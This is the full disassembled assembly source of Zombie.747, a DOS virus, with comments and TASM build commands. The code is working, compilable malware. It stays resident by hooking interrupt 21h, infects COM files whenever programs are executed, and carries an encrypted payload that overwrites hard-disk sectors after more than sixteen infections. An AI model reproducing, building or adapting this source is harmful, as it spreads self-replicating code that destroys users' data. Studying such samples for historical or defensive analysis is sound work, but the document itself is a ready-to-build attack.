Zombie.747
			     Disassembly by
			      Darkman/29A

  Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at
  load and execute program, except COMMAND.COM, by appending the virus to the
  infected COM file.

  To compile Zombie.747 with Turbo Assembler v 4.0 type:
    TASM /M ZOMBI747.ASM
    TLINK /t /x ZOMBI747.OBJ
*

.model tiny
.code
 org   100h				 ; Origin of Zombie.747

code_begin:
	     call    crypt_virus

	     nop
	     nop
	     nop
	     nop
	     nop
virus_begin:
	     call    delta_offset
delta_offset:
	     pop     bp 		 ; Load BP from stack
	     sub     bp,03h		 ; BP = delta offset

	     jmp     virus_begin_
stack_end:
stack_	     db      7ah dup(?) 	 ; Stack
stack_begin:
int21_addr   dd      ?			 ; Address of interrupt 21h
virus_seg    dw      ?			 ; Segment of virus
stack_seg    dw      ?			 ; Stack segment
stack_ptr    dw      ?			 ; Stack pointer
infect_off   dw      offset infect_file-offset virus_begin
infect_mark  db      04h dup(?) 	 ; infection mark
infect_count dw      ?			 ; Infection counter
virus_offset equ     word ptr $+01h	 ; Offset of virus
infect_code  db      0e9h,?,?		 ; JMP imm16 (opcode 0e9h)
origin_code  db      0cdh,20h,? 	 ; Original code of infected file
code_begin_  dw      100h		 ; Offset of beginning of code

int21_virus  proc    near		 ; Interrupt 21h of Zombie.747
	     pushf			 ; Save flags at stack
	     cmp     ax,4b00h		 ; Load and execute program?
	     je      load_and_exe	 ; Equal? Jump to load_and_exe

	     cmp     ax,4b69h		 ; Zombie.747 function?
	     je      virus_functi	 ; Equal? Jump to virus_functi
	     popf			 ; Load flags from stack

	     jmp     dword ptr cs:[offset int21_addr-offset virus_begin]
	     endp
virus_functi:
	     mov     bx,ax		 ; Already resident

	     popf			 ; Load flags from stack

	     iret			 ; Interrupt return!
load_and_exe:
	     mov     cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin

	     call    setup_stack

	     popf			 ; Load flags from stack

	     jmp     dword ptr cs:[offset int21_addr-offset virus_begin]

setup_stack  proc    near		 ; Setup stack of the virus
	     mov     cs:[offset stack_seg-offset virus_begin],ss
	     mov     cs:[offset stack_ptr-offset virus_begin],sp

	     mov     ss,cs:[offset virus_seg-offset virus_begin]
	     mov     sp,offset stack_begin-offset virus_begin

	     push    ax bx cx dx es ds si di bp

	     call    cs:[offset infect_off-offset virus_begin]

	     cmp     word ptr cs:[offset infect_count-offset virus_begin],10h
	     jbe     load_stack 	 ; Below or equal? Jump to load_stack

	     call    payload
load_stack:
	     pop     bp di si ds es dx cx bx ax

	     mov     ss,cs:[offset stack_seg-offset virus_begin]
	     mov     sp,cs:[offset stack_ptr-offset virus_begin]

	     ret			 ; Return!
	     endp

payload      proc    near		 ; Payload of the virus
	     mov     si,offset crypt_begin-offset virus_begin
	     mov     cx,(crypt_end-crypt_begin)
decrypt_loop:
	     not     byte ptr [si]	 ; Decrypt a byte

	     inc     si 		 ; Increase index register

	     loop    decrypt_loop
crypt_begin:
	     mov     ax,303h		 ; Write disk sector(s)
	     db      31h,0dbh		 ; XOR BX,BX
	     mov     es,bx		 ; ES:BX = pointer to data buffer
	     mov     cx,02h		 ; CX = sector- and cylinder number
	     mov     dx,80h		 ; DX = drive- and head number
	     int     13h
crypt_end:
	     mov     si,offset crypt_begin-offset virus_begin
	     mov     cx,(crypt_end-crypt_begin)
encrypt_loop:
	     not     byte ptr [si]	 ; Encrypt a byte

	     inc     si 		 ; Increase index register

	     loop    encrypt_loop

	     ret			 ; Return!
	     endp

examine_file proc    near		 ; Examine file
	     cld			 ; Clear direction flag
find_dot:
	     lodsb			 ; AL = byte of filename
	     cmp     al,'.'              ; Found the dot in the filename
	     je      examine_fil_	 ; Equal? Jump to examine_fil_

	     or      al,al		 ; End of filename?
	     loopnz  find_dot		 ; Not zero? Jump to find_dot
	     jz      examine_exit	 ; Zero? Jump to examine_exit
examine_fil_:
	     mov     ax,[si-06h]	 ; AX = word of filename
	     or      ax,2020h		 ; Lowcase word of filename
	     cmp     ax,'mm'             ; COMMAND.COM?
	     je      examine_exit	 ; Equal? Jump to examine_exit

	     lodsw			 ; AX = word of extension
	     or      ax,2020h		 ; Lowcase word of extension
	     cmp     ax,'oc'             ; Correct extension?
	     jne     examine_exit	 ; Not equal? Jump to examine_exit

	     lodsb			 ; AL = byte of extension
	     or      al,20h		 ; Lowcase byte of extension
	     cmp     al,'m'              ; Correct extension?
	     jne     examine_exit	 ; Not equal? Jump to examine_exit

	     clc			 ; Clear carry flag

	     ret			 ; Return!
examine_exit:
	     stc			 ; Set carry flag

	     ret			 ; Return!
	     endp

set_file_pos proc    near		 ; Set current file position
	     xor     cx,cx		 ; Zero CX
	     or      dx,dx		 ; Zero DX?
	     jns     set_file_po_	 ; Positive? Jump to set_file_po_

	     not     cx 		 ; Invert each bit of low-order wor...
set_file_po_:
	     mov     ah,42h		 ; Set current file position
	     int     21h

	     ret			 ; Return!
	     endp

infect_file  proc    near		 ; Infect COM file
	     mov     si,dx		 ; SI = offset of filename
	     call    examine_file
	     jnc     open_file		 ; No error? Jump to open_file

	     jmp     infect_exit_
open_file:
	     mov     ax,3d02h		 ; Open file (read/write)
	     int     21h
	     jnc     read_file		 ; No error? Jump to read_file

	     jmp     infect_exit_
read_file:
	     mov     bx,ax		 ; BX = file handle

	     mov     dx,cs		 ; DX = code segment
	     mov     ds,dx		 ; DS "  "      "

	     mov     ah,3fh		 ; Read from file
	     mov     cx,03h		 ; Read three bytes
	     mov     dx,offset origin_code-offset virus_begin
	     int     21h
	     jnc     examine_mark	 ; No error? Jump to examine_mark

	     jmp     close_file
examine_mark:
	     mov     dx,-28h		 ; DX = low-order word of offset fr...
	     mov     al,02h		 ; Set current file position (EOF)
	     call    set_file_pos
	     jc      close_file 	 ; Error? Jump to close_file

	     nop
	     nop
	     nop

	     mov     ah,3fh		 ; Read from file
	     mov     cx,04h		 ; Read four bytes
	     mov     dx,offset infect_mark-offset virus_begin
	     int     21h
	     jc      close_file 	 ; Error? Jump to close_file

	     nop
	     nop
	     nop

	     cmp     word ptr ds:[offset infect_mark-offset virus_begin],'oZ'
	     jne     calc_offset	 ; Not equal? Jump to calc_offset

	     nop
	     nop
	     nop

	     cmp     word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm'
	     je      close_file 	 ; Previosly infected? Jump to clos...

	     nop
	     nop
	     nop
calc_offset:
	     xor     dx,dx		 ; Zero DX
	     mov     al,02h		 ; Set current file position (EOF)
	     call    set_file_pos
	     jc      close_file 	 ; Error? Jump to close_file

	     nop
	     nop
	     nop

	     sub     ax,03h		 ; AX = offset of virus
	     mov     ds:[offset virus_offset-offset virus_begin],ax

	     mov     ax,5700h		 ; Get file's date and time
	     int     21h
	     push    cx dx		 ; Save registers at stack

	     mov     ah,40h		 ; Write to file
	     mov     cx,(code_end-virus_begin)
	     xor     dx,dx		 ; Zero DX
	     int     21h
	     jc      infect_exit	 ; Error? Jump to infect_exit

	     nop
	     nop
	     nop

	     cmp     cx,ax		 ; Written all of the virus?
	     jne     infect_exit	 ; Not equal? Jump to infect_exit

	     nop
	     nop
	     nop

	     mov     al,00h		 ; Set current file position (SOF)
	     xor     dx,dx		 ; Zero DX
	     call    set_file_pos
	     jc      infect_exit	 ; Error? Jump to infect_exit

	     nop
	     nop
	     nop

	     mov     ah,40h		 ; Write to file
	     mov     cx,03h		 ; Write three bytes
	     mov     dx,offset infect_code-offset virus_begin
	     int     21h
	     jc      infect_exit	 ; Error? Jump to infect_exit

	     nop
	     nop
	     nop
infect_exit:
	     inc     word ptr cs:[offset infect_count-offset virus_begin]

	     mov     ax,5701h		 ; Set file's date and time
	     pop     dx cx		 ; Load registers from stack
	     int     21h
close_file:
	     mov     ah,3eh		 ; Close file
	     int     21h
infect_exit_:
	     ret			 ; Return!
	     endp

get_psp_own  proc    near		 ; Get PSP segment of owner or spec...
	     mov     ah,52h		 ; Get list of lists
	     int     21h
	     mov     bx,es:[bx-02h]	 ; BX = segment of first memory con...

	     mov     es,bx		 ; ES =    "    "    "     "      "
	     mov     bx,es:[01h]	 ; BX = PSP segment of owner or spe...

	     ret			 ; Return!
	     endp

allocate_mem proc    near		 ; Allocate memory
	     push    es 		 ; Save ES at stack

	     mov     ax,cs		 ; AX = segment of PSP for current ...
	     dec     ax 		 ; AX = segment of Memory Control B...
	     mov     es, ax		 ; ES =    "    "    "       "     "

	     mov     bx,es:[03h]	 ; BX = size of memory block in par...
	     pop     es 		 ; Load ES from stack

	     sub     bx,cx		 ; Subtract number of paragraphs to...
	     dec     bx 		 ; BX = new size in paragraphs
	     mov     ah,4ah		 ; Resize memory block
	     int     21h
	     jc      allocat_exit	 ; Error? Jump to allocat_exit

	     nop
	     nop
	     nop

	     mov     ah,48h		 ; Allocate memory
	     mov     bx,cx		 ; BX = number of paragraphs to all...
	     int     21h
	     jc      allocat_exit	 ; Error? Jump to allocat_exit

	     nop
	     nop
	     nop

	     push    ax 		 ; Save AX at stack
	     dec     ax 		 ; AX = segment of Memory Control B...
	     mov     es,ax		 ; ES =    "    "    "       "     "

	     push    es 		 ; Save ES at stack
	     call    get_psp_own
	     pop     es 		 ; Load ES from stack

	     mov     es:[01h],bx	 ; Store PSP segment of owner or sp...
	     pop     es 		 ; Load ES from stack

	     clc			 ; Clear carry flag
allocat_exit:
	     ret			 ; Return!
	     endp
virus_begin_:
	     mov     ax,4b69h		 ; Zombie.747 function
	     xor     bx,bx		 ; Zero BX
	     int     21h
	     cmp     bx,4b69h		 ; Already resident?
	     je      virus_exit 	 ; Equal? Jump to virus_exit

	     nop
	     nop
	     nop

	     mov     cx,(data_end-virus_begin+0fh)/10h
	     call    allocate_mem
	     jc      virus_exit 	 ; Error? Jump to virus_exit

	     nop
	     nop
	     nop

	     mov     si,bp		 ; SI = delta offset
	     xor     di,di		 ; Zero DI
	     mov     cx,(code_end-virus_begin)
	     cld			 ; Clear direction flag
	     rep     movsb		 ; Move virus to top of memory

	     mov     es:[offset virus_seg-offset virus_begin],es

	     push    es 		 ; Save ES at stack
	     mov     ax,3521h		 ; Get interrupt vector 21h
	     int     21h
	     mov     dx,es		 ; DX = segment of interrupt 21h
	     pop     es 		 ; Load ES from stack

	     mov     word ptr es:[offset int21_addr-offset virus_begin],bx
	     mov     word ptr es:[offset int21_addr+02h-offset virus_begin],dx

	     mov     ax,2521h		 ; Set interrupt vector 21h

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     mov     dx,offset int21_virus-offset virus_begin
	     int     21h
virus_exit:
	     mov     ax,cs		 ; AX = segment of PSP for current ...
	     mov     ds,ax		 ; DS =    "    "   "   "     "     "
	     mov     es,ax		 ; ES =    "    "   "   "     "     "

	     lea     si,origin_code	 ; SI = offset of origin_code
	     sub     si,offset virus_begin
	     add     si,bp		 ; Add delta offset to offset of co...

	     mov     di,100h		 ; DI = offset of beginning of code
	     mov     cx,03h		 ; Move three bytes
	     cld			 ; Clear direction flag
	     rep     movsb		 ; Move the original code to beginning

	     lea     bx,code_begin_	 ; BX = offset of code_begin_
	     sub     bx,offset virus_begin
	     add     bx,bp		 ; Add delta offset to offset of co...

	     jmp     [bx]

	     db      'Zombie - Danish woodoo hackers (14AUG91)'
code_end:
data_end:
crypt_virus  proc			 ; Encrypt payload of the virus
	     lea     si,crypt_begin	 ; SI = offset of crypt_begin
	     mov     cx,(crypt_end-crypt_begin)
crypt_loop:
	     not     byte ptr [si]	 ; Encrypt a byte

	     inc     si 		 ; Increase index register

	     loop    crypt_loop

	     ret			 ; Return!
	     endp

end	     code_begin